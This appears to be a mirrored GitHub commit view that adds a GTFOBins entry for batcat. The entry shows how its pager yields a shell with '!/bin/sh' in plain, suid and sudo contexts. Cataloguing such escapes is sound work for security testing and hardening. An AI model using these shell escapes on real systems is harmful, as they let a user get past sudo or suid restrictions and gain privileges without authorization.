mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-08-23 17:44:49 +02:00
16
_gtfobins/batcat.md
Normal file
16
_gtfobins/batcat.md
Normal file
@@ -0,0 +1,16 @@
|
|||||||
|
---
|
||||||
|
description: This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply. `--paging always` can be omitted provided that the output doesn't fit the screen.
|
||||||
|
functions:
|
||||||
|
shell:
|
||||||
|
- code: |
|
||||||
|
batcat --paging always /etc/profile
|
||||||
|
!/bin/sh
|
||||||
|
suid-limited:
|
||||||
|
- code: |
|
||||||
|
./batcat --paging always /etc/profile
|
||||||
|
!/bin/sh
|
||||||
|
sudo:
|
||||||
|
- code: |
|
||||||
|
sudo batcat --paging always /etc/profile
|
||||||
|
!/bin/sh
|
||||||
|
---
|
Reference in New Issue
Block a user